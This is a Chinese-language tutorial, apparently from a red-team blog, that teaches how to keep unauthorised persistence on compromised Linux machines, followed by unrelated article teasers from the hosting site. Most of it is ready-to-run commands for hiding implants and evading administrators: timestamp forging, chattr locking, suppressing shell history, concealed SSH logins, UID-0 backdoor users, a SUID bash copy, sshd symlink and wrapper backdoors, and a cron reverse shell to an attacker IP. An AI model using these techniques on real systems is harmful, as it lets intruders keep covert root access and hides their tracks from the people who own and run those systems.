【内网安全】——Linux权限维持

news2024/12/24 11:40:50
作者名:白昼安全
主页面链接: 主页传送门
创作初心: 以后赚大钱
座右铭: 不要让时代的悲哀成为你的悲哀
专研方向: web安全,后渗透技术
每日鸡汤: 钱至少对于现在的我来说,的确是万能的
在红队行动中在网络中获得最初的立足点是一项耗时的任务。因此,持久性是红队成功运作的关键,这将使团队能够专注于目标,而不会失去与指挥和控制服务器的通信。所以,这就引出了我们今天要讲解的内容——权限维持

当然,权限维持我们也是分为windows和linux来讲,上篇文章我们讲到了windows的权限维持姿势,这篇文章就讲解的是Linux的权限维持姿势,这里的姿势也只是讲一些常见的,用的比较多的姿势来讲,希望博客的内容能够帮助到大家

一、木马隐藏

权限维持简单来说就是怕我们好不容易拿到的权限因为用户的排查或者一些原因导致丢失,而如果我们能够将木马藏得够深,够隐蔽,让用户无法排除出来,这样就能让我们的木马一直在目标的电脑上,自然也就实现了权限维持

下面就来介绍几种隐藏木马的姿势

1、时间伪造

查看文件创建时间就是很多的安全人员排查异常文件的方式,也是通过ls -la命令就可以查看

可以看到这里显示time.txt文件2月22日10:12创建的,这个也称为时间戳,而管理员一旦看到这么新的文件肯定会重点排查一下,这就让我们的木马暴露了

所以很多管理员会通过时间戳查看文件创建的时间,如果是最近创建的,那么就会去重点排查,而我们可以通过下面的命令修改木马的时间戳
touch -r 目标时间戳的文件 要修改时间戳的文件 

这样就可以把其他文件的时间戳复制到我们想要修改时间戳的文件,例如:

可以看到这样就实现了对我们木马文件的时间戳的伪造,管理员就无法通过时间戳来查找我们的恶意文件

2、隐藏文件

Linux中以"."(点号)开头的就是隐藏文件

而隐藏文件单纯使用ls是无法查看的,需要使用ls -la才能查看到,如下

可以看到我在该目录创建了一个.hiden.txt文件,再使用ls,并没有找到该文件,而使用ls -la命令就成功找到了刚才创建的.hiden.txt

而如果目标的管理员没有使用ls -la查看文件的一个习惯的话,就很可能找不到这个文件

3、chattr命令

Linux chattr命令用于改变文件属性。

这项指令可改变存放在ext2文件系统上的文件或目录属性,这些属性共有以下8种模式:

a:让文件或目录仅供附加用途。
b:不更新文件或目录的最后存取时间。
c:将文件或目录压缩后存放。
d:将文件或目录排除在倾倒操作之外。
i:不得任意更动文件或目录。
s:保密性删除文件或目录。
S:即时更新文件或目录。
u:预防意外删除。

这个操作就比较牛马,主要是用他的“i”选项,效果如下

可以看到当我们使用chattr命令的-i选项对目标文件锁定后就算root权限强制删除都无法删除这个文件

一些不懂的管理员甚至会以为这是系统自带的重要系统配置文件从而不去动

解决锁定的方法:

chattr -i 目标文件名

4、历史记录隐藏

history命令就是显示命令历史记录的指令,如下

这样就可以发现一些攻击者在机器上执行的一些恶意命令,而就有可能发现我们创建的木马,所以我们就要想办法删除这个历史记录或者隐藏我们的输入,指令如下

 set +o history

输入这个指令之后,后续输入的命令就不会被记录到history的回显结果中

也就是攻入目标系统之后,先输入这条指令再输入恶意攻击指令,我们的恶意攻击命令就不会被记录

5、SSH登录记录

在Linux中可以使用Last查看账号SSH登录情况

last|grep root

当我们用ssh进行登录时,就会记录,信息包括登录的账号,远程登录的主机,登录时间

ssh加上-T参数,可以进行隐藏登录记录,不被w、who、last等指令检测到

ssh -T -i id_rsa root@192.168.110.131 /bin/bash -i

二、添加用户

这个就是在目标机器留下一个高权限的用户,账密我们都知道,自然下次进来时就可以拿到权限了

1、正常生成

步骤如下

1、创建一个名为test,密码为123456的root权限用户

useradd -p `openssl passwd -1 -salt 'salt' 123456` test -o -u 0 -g root -G root -s /bin/bash -d /home/test

2、创建之后直接使用root权限登录就可以了

2、改写文件

步骤如下

生成加密后的密码,如下就是生成加密后的123456

perl -le 'print crypt('123456',"addedsalt")'

将加密结果写入passwd文件,这里就是test用户,密码为123456

echo "test:adrla7IBSfTZQ:0:0:root:/root:/bin/bash" >>/etc/passwd

三、suid shell

suid shell 主要是方便提权,配合普通用户使用

使用之后就会让普通用户毫无压力提权,自然也达到了类似权限维持的效果,原理如下:

首先Linux系统上,都会有一个叫Bash的shell文件,这个时候我们可以把这个shell文件copy一份到另外一个文件夹
再把另外一个文件夹加上us(即suid)的一个权限
这样其他用户在登录时,利用suid就可以轻松提权

步骤如下

将文件复制出来

cp /bin/bash /tmp/shell

赋予suid权限

 chmod u+s /tmp//shell

这样就设置成功了,我们再使用普通用户登录

执行刚才的文件

 /tmp/shell -p

成功拿到权限·,效果如下

四、公钥免密登录

这个操作方式也比较简单,而且我之前写了一篇博客来介绍这种方法,博客链接如下

http://t.csdn.cn/ckgnp

这里就不多讲了,有兴趣的同学们去看看博客就行了

五、SSH软连接

00 利用前提

ssh配置中开启了PAM进行身份验证

查看是否使用PAM进行身份验证:

cat /etc/ssh/sshd_config|grep UsePAM

为Yes即可使用

注意:如果你为root用户的话你也可以 手动将它开启

01总的利用步骤

ln -sf /usr/sbin/sshd /tmp/su ;/tmp/su -oPort=9999
#开启软链接,链接端口为9999

firewall-cmd --add-port=9999/tcp --permanent
#开启防火墙规则,不然会连接不上

firewall-cmd --reload
#重启防火墙服务

firewall-cmd --query-port=9999/tcp
#查看防火墙9999端口是否被放行,回显为YES即成功放行

ssh root@192.168.149.133 -p 9999
#使用软链接登录,密码可以随便输入
(192.168.149.133为我环境中目标的ip)

六、ssh wrapper

原理:

首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell
简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。

这个原理比较绕,我们也不需要深入的理解,只需要会利用就可以了,下面讲讲利用步骤

服务端(被攻击端)执行如下命令

cd /usr/sbin/
#进入sshd文件所在目录

mv sshd ../bin/
#将正常sshd文件移出

echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
#将脚本写入新的sshd文件

chmod u+x sshd
#赋予文件执行权限

/etc/init.d/sshd restart
重启ssh服务

客户端执行如下命令

socat STDIO TCP4:目标ip:22,sourceport=13377

效果如下,成功连接上目标

七、计划任务

又是这种熟悉的方式,相信大家都会了吧,在前面的windows提权,Linux提权,Windows权限维持中都讲到了这种方式,包括最开始使用redis创建计划任务反弹shell,所以这里我们就简单介绍一下利用方式就行了

1、创建一个sh脚本

,例如在/etc下创建了一个shell.sh的脚本,内容如下

#!/bin/bash

bash -i >& /dev/tcp/192.168.15.130/6666 0>&1

注意:这里的192.168.15.130为我们kali的攻击机的ip,端口为我们攻击机接收的端口,相当于控制目标主动来连我们

2、赋予执行权限

chmod +sx /etc/shell.sh

3、写入计划任务

vi /etc/crontab
打开计划任务文件 

将下面的指令添加到该文件中,意思就是每分钟执行一次我们的恶意文件

*/1 * * * * root /etc/shell.php

4、重启计划任务

service crond restart

5、客户端开启监听

这时候在我们的kali攻击器开启监听就可以成功获取到目标反弹回来的权限

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/374671.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

04 方法与函数

Scala 中的也有方法和函数的概念。 Scala中的 方法 是类的一部分。 Scala中的 函数 是一个对象,可以赋值给变量。 在类中定义的函数就是方法 4.1 方法 Scala 中方法 与 Java 中类似,是组成类的一部分 4.1.1 语法结构 格式: def 方法名([参…

程序员是否要加入创业公司?

我从1月份入职到2月份离职,历时一个半月。短暂的体验了一段创业生活,更准确的说是一段“待在”创业团队的生活,因为我发现创业本身跟我关系不大。一个半月的就业经历,对任何人来说都不是一个好选择,当然也不是我所期望…

[oeasy]python0094_视频游戏_双人网球_pong_atari_mos_6502_雅达利_米洛华

编码进化 回忆上次内容 上次 我们回顾了 微软之前的 比尔盖茨和保罗艾伦 mits 迎来的 是帮手还是隐患? intel-8080 遇到了 mos-6502 底层硬件 驱动 游戏行业进化 不光是扑克牌和柏青哥了出现了双人网球 不过 目前的游戏 PDP-1 上的《太空大战》Donner Model 30 上…

K8S---pod基础概念

目录 一、资源限制 二、Pod 的两种使用方式 三、Pod 资源共享 四、底层容器Pause 1、Pause共享资源 1.1 网络 1.2 存储 1.3 小结 2、Pause主要功能 3、Pod 与 Pause 结构的设计初衷 五、Pod容器的分类 1、基础容器(infrastructure container)…

C++ Primer Plus 第6版 读书笔记(2)第2章 开始学习 C++

C是在 C 语言基础上开发的一种集面向对象编程、泛型编程和过程化编程于一体的编程语言,是C语言的超集。本书是根据2003年的ISO/ANSI C标准编写的,通过大量短小精悍的程序详细而全面地阐述了 C的基本概念和技术,并专辟一章介绍了C11新增的功能…

企业网站自动生成系统的设计和实现

技术:Java、JSP等摘要:随着Internet技术的发展,人们的日常生活已经离不开网络。未来社会人们的生活和工作将越来越依赖于数字技术的发展,越来越数字化、网络化、电子化、虚拟化。Internet的发展历程以及目前的应用状况和发展趋势&…

BigGAN

1、BIGGAN 解读1.1、作者 Andrew Brock、Jeff Donahue、Karen Simonyan 1.2、摘要 尽管最近在生成图像建模方面取得了进展,但从 ImageNet 等复杂数据集中 成功生成高分辨率、多样化的样本仍然是一个难以实现的目标。为此,我们以迄 今为止最大的规模训练生…

使用MUI与H5+构建移动端app

前言 通过mui构建APP 效果图: <!DOCTYPE html> <html> <head><meta charset

c语言指针(结构体)

*结构体&#xff1a;-箭头&#xff08;->&#xff09;&#xff1a;左边必须为指针&#xff1b;-点号&#xff08;.&#xff09;&#xff1a;左边必须为实体。*函数传数组用指针传递&#xff1a;-传的是第一个的元素的指针-也就是说在函数里&#xff0c;形参只是一个指针&…

Delphi 中 FireDAC 数据库连接(总览)

本系列包含一组文章&#xff0c;描述了如何用在Delphi中使用FireDAC设置数据库驱动和管理数据库连接。通过这一些列文章的学习&#xff0c;将熟练掌握FireDAC数据库连接管理应用。自由使用FireDAC&#xff01;主题说明定义连接描述了如何存储和使用FireDAC连接参数以及连接定义…

sqlserver 数据库优化工具,安全性设置,并发设置,SQL耗时优化

当前数据库版本查询&#xff0c;硬件资源最大限度决定当前数据库实例的性能.数据库并发设置&#xff0c;理论最大连接数&#xff0c;当前实例数据库实例设置的最大连接数&#xff0c;决定高并发的连接数数据库连接字符串优化&#xff0c;是否复用&#xff0c;生命周期&#xff…

英语学术写作作业文章分析1

Abstract:a concise overview of the study研究简明概述 Introduction&#xff1a;1.providing the background 提供研究背景 2.indentifying the problem under study 了解正在研究的问题 3.evaluating previous studies评估之前的研究 4.identifying the research gap认识研…

GAIDC 2023盛会迎来大模型论坛“主场”,百度飞桨护航大模型产业发展

‍‍‍‍2月25日-26日&#xff0c;2023全球人工智能开发者先锋大会&#xff08;GAIDC&#xff09;在上海临港举行&#xff0c;大会以“向光而行的AI开发者”为主题&#xff0c;汇聚了当前科技和产业革命中的开发者先锋力量。百度深度参与本次大会&#xff0c;飞桨联合上海市人工…

-source1.5中不支持diamond运算符终极解决办法

1. 常规办法 在File->Setting中设置如下&#xff1a; 然后检查&#xff1a;File->Project Structure里面的相关配置&#xff1a; 以上办法能解决问题的概率在90%&#xff0c;如果还不行&#xff0c;那么请按照以下方法&#xff0c;基本上100%可以解决。 如果还没解决则…

前端基础之CSS扫盲

文章目录一. CSS基本规范1. 基本语法格式2. 在HTML引入CSS3. 选择器分类二. CSS常用属性1. 文本属性2. 文本格式3. 背景属性4. 圆角矩形和圆5. 元素的显示模式6. CSS盒子模型7. 弹性布局光使用HTML来写一个前端页面的话其实只是写了一个大体的框架, 整体的页面并不工整美观, 而…

01 导入已有环境配置(上课使用)

一、导入虚拟机 通过 VMware 打开已经安装好的 集群 打开三个 将导入的虚拟机打开 第一次打开会需要选择方式 “我已移动虚拟机” 不会改变原虚拟机的配置 “我已复制虚拟机” 会去改变虚拟机mac地址&#xff0c;需要重新的去配置 mac 地址 选择 未列出 &#xff0c;以 root…

Matlab论文插图绘制模板第79期—无线条等高线填充图

资源群里有朋友问如何绘制等高线填充图&#xff0c;但删除线条&#xff0c;只保留填充颜色的那种。 那么&#xff0c;本期就来分享一下无线条等高线填充图的绘制模板。 先来看一下成品效果&#xff1a; 特别提示&#xff1a;Matlab论文插图绘制模板系列&#xff0c;旨在降低大…

【C语言进阶】指针与数组、转移表详解

前言 大家好我是程序猿爱打拳&#xff0c;我们在学习完指针的基本概念后知道了指针就是地址&#xff0c;我们可以通过这个地址并对它进行解引用从而改变一些数据。但只学习指针的基础是完全不够的&#xff0c;因此学习完指针的基础后我们可以学习关于指针的进阶&#xff0c;其中…

WireShark如何进行USB包协议分析

USB协议学习的步骤之一就是从抓包看协议通信,进而学习usb设备开发是怎么回事。这里发现一个工具就是wireshark。 WireShark如果要抓取usb设备的包,需要在安装的时候,选择usbpcap一并进行安装。

惠普星14Pro电脑开机不了显示错误代码界面怎么办?

惠普星14Pro电脑开机不了显示错误代码界面怎么办&#xff1f;有用户电脑开机之后&#xff0c;进入了一个错误界面&#xff0c;里面有一些错误代码。重启电脑之后依然是无法进入到桌面中&#xff0c;那么这个情况怎么去进行解决呢&#xff1f;我们可以重装一个新系统&#xff0c…